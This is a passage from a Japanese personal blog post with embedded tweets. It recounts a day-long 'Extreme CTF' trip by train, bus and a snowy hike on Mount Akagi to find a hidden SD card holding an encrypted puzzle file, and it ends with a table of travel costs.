href=\"https://t.co/Xm0SXXYVs7\">https://t.co/Xm0SXXYVs7</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584895933697159168\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>乗り換え可能時間2分しかないぞ</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584903863565594624\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>乗り換え成功 <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 館林駅 (Tatebayashi Sta.) in 館林市, 群馬県) <a href=\"https://t.co/zCyWnEyjHF\">https://t.co/zCyWnEyjHF</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584905684585750528\">2015, 4月 6</a></blockquote>\n\n\nさて、普通にプラットホームを移動して乗り換えするだけでよかったのはこの館林駅まで。次の乗り換え駅である足利市駅では時間との戦いが待っているのです。\n\n\n\n\n\n足利市駅での乗り換えでは、違う路線の駅間を歩いて移動しなければならないのです。この乗り換えの最大の難関は移動時間。足利市駅に11:47に到着し足利駅の発車時刻は12:05で、その間の時間は18分しかありません。徒歩での経路をiOSのマップで調べてみると、予想所要時間は18分となっています。迷ったり道を間違えたりしていたら乗り損ねてしまい、mondai10チャレンジ終了となります。\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>東武鉄道遅延情報出てないのに遅延してるクズっぽい</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584910433590517760\">2015, 4月 6</a></blockquote>\n\n追い討ちをかけるように、東武鉄道は2分ほど足利市駅への到着が遅れていました。\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>駅間ダッシュだっ! <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 足利市駅 (Ashikagashi Sta.) in 足利市, 栃木県) <a href=\"https://t.co/nvG8VXUlrI\">https://t.co/nvG8VXUlrI</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584910796683157504\">2015, 4月 6</a></blockquote>\n\n11:49に駅に到着し、足利駅への移動を開始します。\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>いきなり迷ってる <a href=\"https://twitter.com/hashtag/%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%88%E3%83%AA%E3%83%BC%E3%83%A0CTF?src=hash\">#エクストリームCTF</a> <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584911355313917953\">2015, 4月 6</a></blockquote>\n\n\n駅の出口が2方向にあり、どちらに出ればいいかわからず、さらに出口から出たところで道らしき道が見当たらなかったため、2分ほど迷ってしまいました。\n\niPhoneの電子コンパスを使って方角を確かめ、正しい出口から出てマップを頼りに急いで移動を開始します。\n\n\n\n\n\n駅間の移動中の風景はとてものどかで、ゆっくりとした時間が流れているようでした。ゆっくりと時間が流れて欲しいと思っていたからかもしれませんが。\n橋を渡っている時に撮った渡良瀬川の風景は、特に面白みがなく自然な感じでした。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p><a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> <a href=\"http://t.co/v9Jca4uFE4\">pic.twitter.com/v9Jca4uFE4</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584911834458689536\">2015, 4月 6</a></blockquote>\n\n\n\n\n\nのんびりと写真を撮っていたからでしょうか、駅まで残り250mの地点ですでに電車出発まで残り2分を切ってしまいました。\n\n\n\n猛ダッシュするしかありません。幸い、信号のある道ではなかったので歩道を存分に走って駅に向かうことができました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>ギリッギリw <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 足利駅 (Ashikaga Sta.) in 足利市, 栃木県) <a href=\"https://t.co/tkic86CCmO\">https://t.co/tkic86CCmO</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584914938298261504\">2015, 4月 6</a></blockquote>\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>最後猛ダッシュだったわw <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcarFdFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584915058506870784\">2015, 4月 6</a></blockquote>\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>あと30秒遅かったらリタイアだったわ <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584915558820225025\">2015, 4月 6</a></blockquote>\n\n駅の改札を通ると高崎行き方面のホームにはすでに電車が!ふくらはぎパンパンになりながらも階段を駆け上がり、なんとか電車に間に合い乗ることができました。\n\n\nちなみに足利駅には電車が飾ってありました。(こんなの撮影してないで急げというツッコミはなしで)\n\n\n\n\n最後の乗り換えを終え、あとは前橋駅で降りるだけとなりました。なんとか電車で赤城山最寄駅までこぎつけることができる状態となり、これにて過酷な電車乗り換え編はおしまいとなります。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>とりあえず エクストリームCTF 午前の部 電車編 はクリアできたっぽいです</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584918614555238401\">2015, 4月 6</a></blockquote>\n\n\n\n#### 昼の部 バス乗り換え編\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>エクストリームCTF 昼の部 バス編開始です <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 前橋駅 (Maebashi Sta.) in 前橋市, 群馬県) <a href=\"https://t.co/djgY3NCMZ9\">https://t.co/djgY3NCMZ9</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584927608808288256\">2015, 4月 6</a></blockquote>\n\nへとへとになりながらも降りそびれることなく、前橋駅に到着しました。\n\nバスターミナルを回り、富士見温泉経由で赤城山に向かうバスを探します。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>この13:27で行けるはず… <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 前橋駅バスターミナル in 前橋市, 群馬県) <a href=\"https://t.co/zRGB3P2gof\">https://t.co/zRGB3P2gof</a> <a href=\"http://t.co/utCcwl1PVN\">pic.twitter.com/utCcwl1PVN</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584928918194540544\">2015, 4月 6</a></blockquote>\n\n\n事前に(電車内で)調べてあった13:27発のバスがありました。しかし富士見温泉終点と書いてあるこのバスで本当に赤城山へ行けるか心配になり、バス案内所へ行きどの便でいけるのかを聞いてきました。\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>心配になってバス案内所で聞いてきたら13:27の便であってた <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> <a href=\"http://t.co/s2Hfmuv4Jc\">pic.twitter.com/s2Hfmuv4Jc</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584931886155239425\">2015, 4月 6</a></blockquote>\n\nこの13:27発の電車であっていたようです。一度富士見温泉で赤城山ビジターセンター行きのバスに乗り換えをする必要があるとのことでした。\n\n案内所にあったバス停の停車場所の地図から、SDカードがある場所に一番近いバス停を探します。Google Mapによると、赤城山ビジターセンターまで行ってしまうと大回りとなってしまうとのことで、その一つ前の赤城山大洞で降りると、山道を通って最短経路で行けるとのことでした。\n\n\n\n\n時間になり、バスが来たので乗車しました。\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>バス乗った <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584934452813365248\">2015, 4月 6</a></blockquote>\n\n\nここで想定していなかった事態が発生します。\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>雨降ってきたし!!!</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584934838643195904\">2015, 4月 6</a></blockquote>\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>雨降るなんて聞いてないよ!!! <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584934887217500160\">2015, 4月 6</a></blockquote>\n\n\n天気予報では\"晴れ\"となっていたので雨具など用意していません。しかもバスに乗るまで20分ほど待ち時間があったので、乗車前に降りそうな予感がしていれば雨合羽を買うことすらできただけに、最悪のタイミングで雨が降ってきました。このままSDカードを見つけることができるのかと、とても不安になってきました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>まんがタイムきららのドキドキビジュアルコミックス以上にドキドキしてる</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584937029898612736\">2015, 4月 6</a></blockquote>\n\nぼーっと外を眺めていても、雨粒と曇天とでかい鳥居くらいしかなく、ぜんぜん落ち着きませんでした。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>でかい鳥居だ <a href=\"http://t.co/9xRZJc8ODm\">pic.twitter.com/9xRZJc8ODm</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584941636108451840\">2015, 4月 6</a></blockquote>\n\n\nそうこうしていると富士見温泉バス停に着き、乗り換えをしました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p><a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 富士見温泉バス停) <a href=\"https://t.co/NDft6XwqIr\">https://t.co/NDft6XwqIr</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584943568017588224\">2015, 4月 6</a></blockquote>\n\n赤城山ビジターセンター行きのバスに乗ると、風景に大きな山が見えてきました。たぶん赤城山です。たぶん。\n\n\n\n\n\n\nバスで揺られて眠くなる中、標高1000mを越えたあたりから車窓から覗く景色が明るくなっていることに気づきます。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>標高1000m超えた</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584950108011110400\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>残雪があるぞ…</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584951262354939905\">2015, 4月 6</a></blockquote>\n\nそう、残雪が景色を明るくしていたのです。また、赤城山大沼という湖は湖面が凍っていました。\n\n\n\n\n赤城山大洞バス停に到着し、降車します。降りるとき、バスの運転手にこう告げられました。\n\n> バス停が雪に埋まってるから帰りは降りた位置辺りにいれば止まるよ\n\n嫌な予感しかしません。\n\nここから想像をはるかに超える過酷な登山が始まります。\n\n#### 午後1 登山編\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>さぁ、登山開始だ <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 赤城山第1スキー場 in 前橋市, 群馬県) <a href=\"https://t.co/tHRXadHe4S\">https://t.co/tHRXadHe4S</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584954825294684160\">2015, 4月 6</a></blockquote>\n\nバス停を降りてすぐのところで登山者向けの案内看板を見つけました。\n\n\n\nこの看板の略図にある地蔵岳を越えてゆくコースを通ってSDカードの場所へと向かいます。看板の凡例にあるように、通る道は**歩道**となっているので比較的楽に登ることができると思いまいした。その歩道とやらはどこにあるのかとあたりを見渡すと、アスファルトで舗装された道がみつかりました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>どうすんだよこれ <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> <a href=\"http://t.co/3DeQWYKK8V\">pic.twitter.com/3DeQWYKK8V</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584955092714950656\">2015, 4月 6</a></blockquote>\n\nかろうじてアスファルトの道であるとわかる雪に覆われた登山道を見つけます。100mほど先を見ると、アスファルトはすべて雪に覆われ見えなくなっています。\n完全に想像していなかった事態です。春になり暖かくなってきていたので、こんなにも雪が積もっているなんて考えていませんでした。\n出発前の甘い考えがここで思い出されます。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>ヤマノススメするぞといった気持ち</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584858646346989568\">2015, 4月 5</a></blockquote>\n\n<iframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&bc1=000000&IS2=1&bg1=FFFFFF&fc1=000000&lc1=0000FF&t=mzyy-22&o=9&p=8&l=as4&m=amazon&f=ifr&ref=ss_til&asins=B00L3NPW7E\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"></iframe>\n\n\n\n何も下調べせずに来てしまったことを強く後悔しました。\n事前にしっかりと下調べしていれば、1800m超級の山にはまだ雪が残っているというのは安易に想像がつきます。小爪アイゼン装備のブーツを持ってくることもできたのです。\n\nよく滑る雪道を数十メートル進み、湖の方を眺めると大きな山がこちらを見守ってくれていました。\n\n\n\n\n刻々と帰りのバスの時間が迫ってきているので、後悔はほどほどに先に進みます。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>やばい(確信) <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> <a href=\"http://t.co/NsTmOr6ZL2\">pic.twitter.com/NsTmOr6ZL2</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584956357419241472\">2015, 4月 6</a></blockquote>\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>なんで沢登りせにゃならんのだw <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> <a href=\"http://t.co/5c72fEWBQc\">pic.twitter.com/5c72fEWBQc</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584958094637015040\">2015, 4月 6</a></blockquote>\n\n膝上まで沈む深い雪があるところや、雪解け水で小川ができているところを水浸しになりながらかけ進んでいきます。\n\n\n\n\n\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>Googleさんの案内相当険しかったですね。。これマップの地点の画像です <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> <a href=\"http://t.co/OthdUPcczu\">pic.twitter.com/OthdUPcczu</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584976426962530305\">2015, 4月 6</a></blockquote>\n\n20分ほど登ったでしょうか、地蔵岳の登山道を抜け、車道に出てきました。\n\n\n\nやっと雪道から解放されました。\n\n少し進むと小沼という湖がでてきました。\n\n\n\n\n\n\n\n標高1450m地点とのことです。あと一息で目的地周辺です。\n凍った湖を左手に眺めながら車道脇をてくてくと歩き進んでいきます。\n\n\n\n\n\n\n目的地周辺まで来ました。このときiPhoneの電波は圏外となっていました。\n\nここからは車道を外れて森の中へと捜索しに行きます。\n\n#### 午後2 捜索編\n\n登山道が60cm超の雪まみれだったのにもかかわらず、SDカードが隠されている森は数cmの雪しかありませんでした。\n不幸中の幸いというものですね。\n\n\n\n\n\n\n道無き道を突き進んでいたのですが、途中で道らしきものを見つけそちらを歩き始めました。\nすると、看板とともに分岐点があらわれました。\n\nGPSによると、血の池方面に行けばよさそうなので、そちらへ進んでいきます。\n\n\n\n\n血の池に着くと、血の池にまつわる伝説と池の由来が書かれた看板がありました。\nこの看板を読んでいると、すこし前に目にした単語を見つけました。\nそう、hint7.txtに記載のあった**ヤマヒゲナガケンミジンコ**です。\nなるほどがってん、あれはこの血の池を指していたんですね。\n\n血の池の中心に来て辺りを見回すと、そこは静かな森でした。まぁ森に入って来たからあたりまえなのですが。\n\n\n\n\n地図を拡大し、GPSだけを頼りにSDカードの位置まで行くと、kanto1_1.jpgに写っているのと同じような岩がたくさんある場所へと来ました。\n\n\n\n\nよーくkanto1_1.jpgと目の前の岩岩を見比べ、それらしき岩を特定しました。\n\n\n\nmondai10.txtによると、*ヒント:石の下のミンティア*とのことなので、石をめくってみます。\n\n\n\n\nありました!ミンティアアップルフィズ味です!\n\n<iframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&bc1=000000&IS2=1&bg1=FFFFFF&fc1=000000&lc1=0000FF&t=mzyy-22&o=9&p=8&l=as4&m=amazon&f=ifr&ref=ss_til&asins=B00MQE4MG6\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"></iframe>\n\n気になる中身は...\n\n\n\n**待望のSDカードでした!やっとみつかりました!**\n9:24につくば駅から電車に乗り、15:24に発見したのでかれこれ6時間の旅でした。\nものすごい達成感とSDカードの中身への興味から、岩場に腰を下ろしSDカードをマウントしてみてみました。\n\n\n\n<pre style=\"border:none; color:inherit; background-color:inherit;\">\n_人人人人人人人_\n> mondai10.tc <\n ̄Y^Y^Y^Y^Y^Y ̄\n</pre>\n\nまたこの形式か!mondai9で解いたのと同じ、パスワード付きTrueCryptファイルです。\nパスワードのヒントはSDカード内にあることは容易に想像がつくので解析しようと思いましたが、\n帰りのバスが1本しかない上に、ここからバス停まで何分かかるか不明なため、解析は後回しにしてとりあえず森を抜けることにします。\n岩場のすぐ近くに県道へ抜ける道の案内看板があったので、それに従って車道へと出ます。\n\n\n#### 午後3 帰宅編\n\n\n\n\n\n\n看板の指示通りに歩いていたら、あっさりと県道へと抜けることができ、さらに県道から血の池までの最短ルートとなる登山道の入り口の案内板がありました。\nhint7.txtのヤマヒゲナガケンミジンコから血の池が導けていれば、道無き道を進む必要もなく、この看板から血の池へ向かうことができていたかもしれません。\n\n車道へと出たのであとは道なりにバス停へと向かうことにします。\n行きに降車した赤城山大洞バス停へは、あの**険しい登山道**を再度通らないといけないため、少し遠回りになりますが、赤城山ビジターセンターへと向かいます。\n行きとは逆で、右手に小沼を眺めながら下っていきます。\n\n\n\n\n\n\n\nただただ歩き進むだけだったので、何事もなく赤城山ビジターセンターに到着することができました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p><a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 赤城公園ビジターセンター in 前橋市, 群馬県) <a href=\"https://t.co/UE7XCVkwDv\">https://t.co/UE7XCVkwDv</a> <a href=\"http://t.co/9EkxDzo5hO\">pic.twitter.com/9EkxDzo5hO</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584974440947183616\">2015, 4月 6</a></blockquote>\n\n赤城山ビジターセンターは閉まっていたので外のベンチに腰掛けました。\n\nビジターセンター横に、赤城山公園に関するお得な掲示板がありました。\n\n\n\n急いで降りてきた甲斐があってか、バスが来るまで1時間も余裕があったので、持って来たコーヒーと板チョコレートで休憩しました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>バスが来るまで1時間あるのでチョコとコーヒーで休憩 <a href=\"http://t.co/RfTO5ZNJA8\">pic.twitter.com/RfTO5ZNJA8</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584980254445305856\">2015, 4月 6</a></blockquote>\n\n\nここ赤城山ビジターセンターの標高は1365mなため、16:00を過ぎたこの時期は寒く、ダウンジャケットを準備しておいて正解でした。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>標高1400mはやっぱり寒い&#10;ダウンジャケット持ってきて正解だったわ</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584977161729093632\">2015, 4月 6</a></blockquote>\n\nチョコレートを食べ終わり、辺りを見回すと霞がかかってきました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>あっやばい霞ががってきた <a href=\"http://t.co/BK7zs4m0L1\">pic.twitter.com/BK7zs4m0L1</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584976787811119105\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>雲のなかにいる <a href=\"http://t.co/5KVkzmPEp8\">pic.twitter.com/5KVkzmPEp8</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584980779408556033\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>雨も降ってきたし10m先見えないし怖い <a href=\"http://t.co/9mq61pmxK3\">pic.twitter.com/9mq61pmxK3</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584987757157617664\">2015, 4月 6</a></blockquote>\n\n雨も降ってきて、このままバスが来なかったらどうしようといった不安から、すこし怖くなりました。\n\nバス到着予定時刻になり、赤城山ビジターセンターバス停で待っていると定刻通りにバスがきました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>帰りのバス乗った!!! これで少なくとも下山できる!!! <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584993731985551360\">2015, 4月 6</a></blockquote>\n\n帰りのバスにも乗れ、あとは電車に乗って終電までに帰ることができれば、SDカードの捜索は無事終了となります。\n\nしかしわざわざ群馬県まで来たからには、なにか群馬らしいことをして帰りたいなと思いました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>なぜかグンマーにいるのでGunmaっぽい夕食食べて帰ろうかな</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585002417697099777\">2015, 4月 6</a></blockquote>\n\n群馬の名産が何があるか知らなかったので有識者に聞いてみたところ、luminさんからアドバイスをいただきました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 焼きまんじゅう、ひもかわうどん(桐生)</p>&mdash; lumin (@lumin) <a href=\"https://twitter.com/lumin/status/585006039528972288\">2015, 4月 6</a></blockquote>\n\n**あっ!!!**\nhint3.txtに記載のあったひもかわうどんをすっかり忘れてました!\n\n前橋駅に着き、帰路の途中の駅である高崎駅付近のうどん屋さんへと向かうことを決めました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>駅ついたー 命があるぞー <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 前橋駅 (Maebashi Sta.) in 前橋市, 群馬県) <a href=\"https://t.co/8530G2c0RA\">https://t.co/8530G2c0RA</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585014590695669760\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>mondai解いた時にあったひもかわうどんを食しに行かねば <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585015639519006720\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>よし、高崎のひもかわうどん屋へGo <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585017858687545344\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>食うぜひもかわうどん <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 高崎駅 (Takasaki Sta.) in 高崎市, 群馬県) <a href=\"https://t.co/tygSOrl8kj\">https://t.co/tygSOrl8kj</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585022094821457920\">2015, 4月 6</a></blockquote>\n\n高崎駅に到着した直後にまたも雨に降られてしまいましたが、20分ほどかけてひもかわうどんを扱ううどん屋さんへと歩きました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>ひもかわうどん!! (@ めんいち in 高崎市, 群馬県) <a href=\"https://t.co/0C5suZrS3F\">https://t.co/0C5suZrS3F</a> <a href=\"http://t.co/4D65OYc4G3\">pic.twitter.com/4D65OYc4G3</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585027483772289026\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>hint3.txt kanto1 <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> <a href=\"http://t.co/ATgu9JllWm\">pic.twitter.com/ATgu9JllWm</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585029832964091904\">2015, 4月 6</a></blockquote>\n\n名古屋県民の舌にはきしめんを思い出させる食感で、とてもなつかしい気分になりました。\n\nさあ、これで群馬県に思い残すことはありません。\n行きで使わなかった学割証を使って高崎駅からJRで南流山まで行き、そこからつくばエクスプレスに乗ってつくば駅に向かって、SDカードの捜索は終了となります。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>さらば群馬県 <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 高崎駅 (Takasaki Sta.) in 高崎市, 群馬県) <a href=\"https://t.co/gWMQTyhwoC\">https://t.co/gWMQTyhwoC</a> <a href=\"http://t.co/zZ4UY6GnbL\">pic.twitter.com/zZ4UY6GnbL</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585037725440565248\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>帰路のJR乗った <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585040578011762688\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>帰路の電車で原因不明の停止信号受信でパンダグラフ下ろしたそうで電車内真っ暗とかもう、もう <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585043902886846464\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>我が家に帰ってきたような安心感 <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ つくば駅 (Tsukuba Sta.) in つくば市, 茨城県) <a href=\"https://t.co/1RrtayjBUG\">https://t.co/1RrtayjBUG</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/585085754847719425\">2015, 4月 6</a></blockquote>\n\n### 費用\n\nSDカードがあった現地まで出向きたいという方のために、参考までにつくば駅から血の池までの往復でかかった運賃を記しておきます。\n\n区間 | 種別 | 運賃\n:------------------:|:-----:|-----:\nつくば→流山おおたかの森 | つくばエクスプレス | 720\n流山おおたかの森→足利市 | 東武鉄道 | 885\n足利市→足利 | 徒歩 | 0\n足利→前橋 | JR | 756\n前橋駅→富士見温泉 | 関越交通バス | 600\n富士見温泉→赤城山大洞| 関越交通バス | 1200\n赤城山ビジターセンター→富士見温泉 | 関越交通バス | 1200\n富士見温泉→前橋駅 | 関越交通バス | 600\n前橋→高崎 | JR | 195\n高崎→南流山 | JR(学割) | 1550\n南流山→つくば| つくばエクスプレス | 822\n\n計8,528円でした。所要時間は、9:24につくば駅発の電車に乗って23:24につくば駅に戻ってくることから、\nギリギリの行程で行く場合は、14時間ほどかかる(=ほぼ丸一日)ということになります。\n\n\n### 